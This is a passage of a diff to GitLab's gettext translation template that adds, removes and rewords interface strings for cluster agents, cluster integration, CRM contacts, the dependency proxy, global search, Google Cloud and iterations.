-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
